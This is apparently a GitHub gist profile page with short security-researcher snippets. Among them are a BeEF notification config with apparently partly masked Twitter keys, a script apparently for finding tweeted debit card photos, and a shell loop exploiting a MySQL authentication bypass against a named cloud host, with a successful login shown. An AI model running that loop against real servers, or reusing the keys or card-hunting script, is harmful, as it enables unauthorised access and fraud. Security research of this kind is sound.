Skip to content

Instantly share code, notes, and snippets.

View marcwickenden's full-sized avatar

MW marcwickenden

View GitHub Profile
@marcwickenden
marcwickenden / bannedbot.rb
Created November 8, 2012 20:12
BannedWords IRC bot implemented as cinch plugin
class BannedWords
include Cinch::Plugin
listen_to :message
def initialize(*args)
super
@banned_words = [ 'cyber', 'troll', 'ddos', 'banana', 'potato' ]
@banned_count = {}
@limit = 3
#!/usr/bin/perl
use MIME::Base64;
$| = 1;
$e = "JHN0ciA9ICdGRkZVVVVVVVVVJzsKQHN0ciA9IHNwbGl0KC8vLCAkc3RyKTsKCmZvcmVhY2ggKEBzdHIpIHsKICBwcmludGYoIiRfICIpOwogIHNsZWVwIDE7Cn0KCnByaW50ICJcbiI7";
eval(decode_base64($e));
@marcwickenden
marcwickenden / config.yaml
Created August 3, 2012 23:40
BeEF Twitter Notification config.yaml
beef:
extension:
notifications:
enable: true
name: Notifications
twitter:
enable: true
consumer_key: joGGGIDMhmmmbwr7i2zpA
consumer_secret: cGVgNnTmN3SkMhmmmYLVdYlZYIOP3w
oauth_token: 555368840-vW1Qq3wQOPpL7dMhmmmma6i2tDkMo5EN8xq8PHr3f
@marcwickenden
marcwickenden / config.yaml
Created August 3, 2012 23:36
Default BeEF config.yaml
beef:
extension:
notifications:
enable: false
name: Notifications
twitter:
enable: false
consumer_key: app_consumer_key
consumer_secret: app_consumer_secret
oauth_token: your_oauth_token_for_this_app
http://p.twimg.com/AzXIuwJCUAEsFZm.jpg
http://p.twimg.com/Ay8BwjECUAEPhnc.jpg
http://p.twimg.com/AxR5ZR_CEAAWi74.jpg
http://p.twimg.com/Av_9O9MCAAEciUL.jpg
http://p.twimg.com/AuFBXCgCMAAP_hr.jpg
@marcwickenden
marcwickenden / findadebitcard.rb
Created August 3, 2012 12:50
./findadebitcard.rb NeedADebitCard
#!/usr/bin/env ruby
begin
require 'twitter'
require 'pp'
rescue LoadError => e
puts "think you've got a gem problem old boy: #{e}"
exit 1
end
@marcwickenden
marcwickenden / responsive.1.6.2-vimeo.patch
Created June 19, 2012 08:41
Patch to add Vimeo support to Responsive Wordpress theme
diff -ruw responsive.1.6.2/footer.php responsive.1.6.2-vimeo/footer.php
--- responsive.1.6.2/footer.php 2012-06-19 09:35:37.495143600 +0100
+++ responsive.1.6.2-vimeo/footer.php 2012-06-19 09:25:42.000000000 +0100
@@ -64,6 +64,10 @@
.'<img src="' . get_stylesheet_directory_uri() . '/icons/youtube-icon.png" width="24" height="24" alt="YouTube">'
.'</a></li>';
+ if (!empty($options['vimeo_uid'])) echo '<li class="vimeo-icon"><a href="' . $options['vimeo_uid'] . '">'
+ .'<img src="' . get_stylesheet_directory_uri() . '/icons/vimeo-icon.png" width="24" height="24" alt="Vimeo">'
+ .'</a></li>';
@marcwickenden
marcwickenden / gist:2935754
Created June 15, 2012 10:26
PHP 5.4.3 0-day
root@debian1:/var/www/0day# ls -l
total 4
-rw-r--r-- 1 root root 41 Jun 15 11:25 test.php
root@debian1:/var/www/0day# curl http://localhost/0day/test.php
nothing to see here
root@debian1:/var/www/0day# cp test.php{,~}
root@debian1:/var/www/0day# ls -l
total 8
-rw-r--r-- 1 root root 41 Jun 15 11:25 test.php
-rw-r--r-- 1 root root 41 Jun 15 11:26 test.php~
@marcwickenden
marcwickenden / gist:2918421
Created June 12, 2012 16:05
mysql-auth-bypass nse mysql scripts
root@7E-Marc:~# ls -l /usr/local/share/nmap/scripts/mysql-*
-rw-r--r-- 1 root root 6099 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-audit.nse
-rw-r--r-- 1 root root 2268 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-brute.nse
-rw-r--r-- 1 root root 2895 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-databases.nse
-rw-r--r-- 1 root root 1799 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-empty-password.nse
-rw-r--r-- 1 root root 4855 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-info.nse
-rw-r--r-- 1 root root 2687 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-users.nse
-rw-r--r-- 1 root root 3100 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-variables.nse
@marcwickenden
marcwickenden / gist:2918409
Created June 12, 2012 16:03
mysql-auth-bypass remote poc
root@7E-Marc:~# for i in `seq 1 1000`; do mysql -u nse --password=bad -h ec2-46-137-134-79.eu-west-1.compute.amazonaws.com 2>/dev/null; done
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 756
Server version: 5.5.22-0ubuntu1-log (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>